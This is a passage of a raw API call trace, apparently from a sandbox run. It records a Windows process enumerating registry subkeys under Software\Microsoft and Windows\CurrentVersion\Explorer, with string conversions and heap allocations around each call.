returned 1 [0140.533] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x22, lpName=0x2163058, cchName=0x104 | out: lpName="RAS Phonebook") returned 0x0 [0140.533] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras phonebook", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0140.533] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras phonebook", cchWideChar=13, lpMultiByteStr=0x2169258, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras phonebook", lpUsedDefaultChar=0x0) returned 13 [0140.533] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.533] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.533] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.534] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.534] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x23, lpName=0x2163058, cchName=0x104 | out: lpName="Remote Assistance") returned 0x0 [0140.534] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remote assistance", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0140.534] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remote assistance", cchWideChar=17, lpMultiByteStr=0x2169180, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="remote assistance", lpUsedDefaultChar=0x0) returned 17 [0140.534] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.534] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.534] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.534] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.534] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x24, lpName=0x2163058, cchName=0x104 | out: lpName="Shared") returned 0x0 [0140.534] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0140.534] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x2169258, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0140.534] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.534] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.534] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.534] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.534] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x25, lpName=0x2163058, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0140.534] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.534] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x2169180, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0140.534] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.534] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.534] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.534] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.534] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x26, lpName=0x2163058, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0140.534] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.534] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x2169258, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0140.535] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.535] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.535] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.535] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.535] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x27, lpName=0x2163058, cchName=0x104 | out: lpName="Speech") returned 0x0 [0140.535] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0140.535] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x2169180, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0140.535] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.535] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.535] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.535] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.535] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x28, lpName=0x2163058, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0140.535] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.535] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x2169258, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0140.535] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.535] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.535] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.535] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.535] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x29, lpName=0x2163058, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0140.535] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0140.535] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x2169180, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0140.535] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.535] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.535] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.535] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.535] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x2a, lpName=0x2163058, cchName=0x104 | out: lpName="VBA") returned 0x0 [0140.535] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.535] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x2169258, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0140.536] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.536] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.536] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.536] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.536] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x2b, lpName=0x2163058, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0140.536] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.536] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x2169180, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0140.536] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.536] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.536] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.536] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.536] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x2c, lpName=0x2163058, cchName=0x104 | out: lpName="WAB") returned 0x0 [0140.536] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.536] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x2169258, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0140.536] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.536] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.536] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.536] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.536] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x2d, lpName=0x2163058, cchName=0x104 | out: lpName="Web Service Providers") returned 0x0 [0140.536] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="web service providers", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0140.536] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="web service providers", cchWideChar=21, lpMultiByteStr=0x2169180, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="web service providers", lpUsedDefaultChar=0x0) returned 21 [0140.536] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.536] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.536] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.536] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.536] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x2e, lpName=0x2163058, cchName=0x104 | out: lpName="wfs") returned 0x0 [0140.536] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wfs", cchWideChar=3, lpMultiByteStr=0x2169258, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wfs", lpUsedDefaultChar=0x0) returned 3 [0140.537] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x2f, lpName=0x2163058, cchName=0x104 | out: lpName="Windows") returned 0x0 [0140.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x2169180, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0140.537] RegOpenKeyExW (in: hKey=0x13c, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x20f2c4 | out: phkResult=0x20f2c4*=0x140) returned 0x0 [0140.537] RegCloseKey (hKey=0x13c) returned 0x0 [0140.537] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2163058, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0140.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0140.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x2169258, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0140.556] RegOpenKeyExW (in: hKey=0x140, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x20f2c4 | out: phkResult=0x20f2c4*=0x13c) returned 0x0 [0140.556] RegCloseKey (hKey=0x140) returned 0x0 [0140.556] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x0, lpName=0x2163058, cchName=0x104 | out: lpName="Action Center") returned 0x0 [0140.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="action center", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0140.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="action center", cchWideChar=13, lpMultiByteStr=0x2169180, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="action center", lpUsedDefaultChar=0x0) returned 13 [0140.556] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x1, lpName=0x2163058, cchName=0x104 | out: lpName="Applets") returned 0x0 [0140.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x2169258, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0140.556] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x2, lpName=0x2163058, cchName=0x104 | out: lpName="Controls Folder (Wow64)") returned 0x0 [0140.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder (wow64)", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0140.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder (wow64)", cchWideChar=23, lpMultiByteStr=0x2169180, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder (wow64)", lpUsedDefaultChar=0x0) returned 23 [0140.556] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x3, lpName=0x2163058, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0140.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x2169258, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0140.556] RegOpenKeyExW (in: hKey=0x13c, lpSubKey="Explorer", ulOptions=0x0, samDesired=0x20109, phkResult=0x20f2c4 | out: phkResult=0x20f2c4*=0x140) returned 0x0 [0140.557] RegCloseKey (hKey=0x13c) returned 0x0 [0140.557] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2163058, cchName=0x104 | out: lpName="Advanced") returned 0x0 [0140.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced", cchWideChar=8, lpMultiByteStr=0x2169180, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced", lpUsedDefaultChar=0x0) returned 8 [0140.557] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2163058, cchName=0x104 | out: lpName="ApplicationDestinations") returned 0x0 [0140.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applicationdestinations", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0140.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applicationdestinations", cchWideChar=23, lpMultiByteStr=0x2169258, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applicationdestinations", lpUsedDefaultChar=0x0) returned 23 [0140.557] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2163058, cchName=0x104 | out: lpName="AutoComplete") returned 0x0 [0140.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autocomplete", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autocomplete", cchWideChar=12, lpMultiByteStr=0x2169180, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="autocomplete", lpUsedDefaultChar=0x0) returned 12 [0140.557] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2163058, cchName=0x104 | out: lpName="AutoplayHandlers") returned 0x0 [0140.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autoplayhandlers", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0140.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autoplayhandlers", cchWideChar=16, lpMultiByteStr=0x2169258, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="autoplayhandlers", lpUsedDefaultChar=0x0) returned 16 [0140.557] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2163058, cchName=0x104 | out: lpName="BitBucket") returned 0x0 [0140.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitbucket", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitbucket", cchWideChar=9, lpMultiByteStr=0x2169180, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitbucket", lpUsedDefaultChar=0x0) returned 9 [0140.557] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2163058, cchName=0x104 | out: lpName="CabinetState") returned 0x0 [0140.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cabinetstate", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cabinetstate", cchWideChar=12, lpMultiByteStr=0x2169258, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cabinetstate", lpUsedDefaultChar=0x0) returned 12 [0140.557] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2163058, cchName=0x104 | out: lpName="CD Burning") returned 0x0 [0140.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cd burning", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cd burning", cchWideChar=10, lpMultiByteStr=0x2169180, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cd burning", lpUsedDefaultChar=0x0) returned 10 [0140.558] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, lpName=0x2163058, cchName=0x104 | out: lpName="CIDOpen") returned 0x0 [0140.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cidopen", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cidopen", cchWideChar=7, lpMultiByteStr=0x2169258, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cidopen", lpUsedDefaultChar=0x0) returned 7 [0140.558] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x2163058, cchName=0x104 | out: lpName="CLSID") returned 0x0 [0140.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clsid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0140.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clsid", 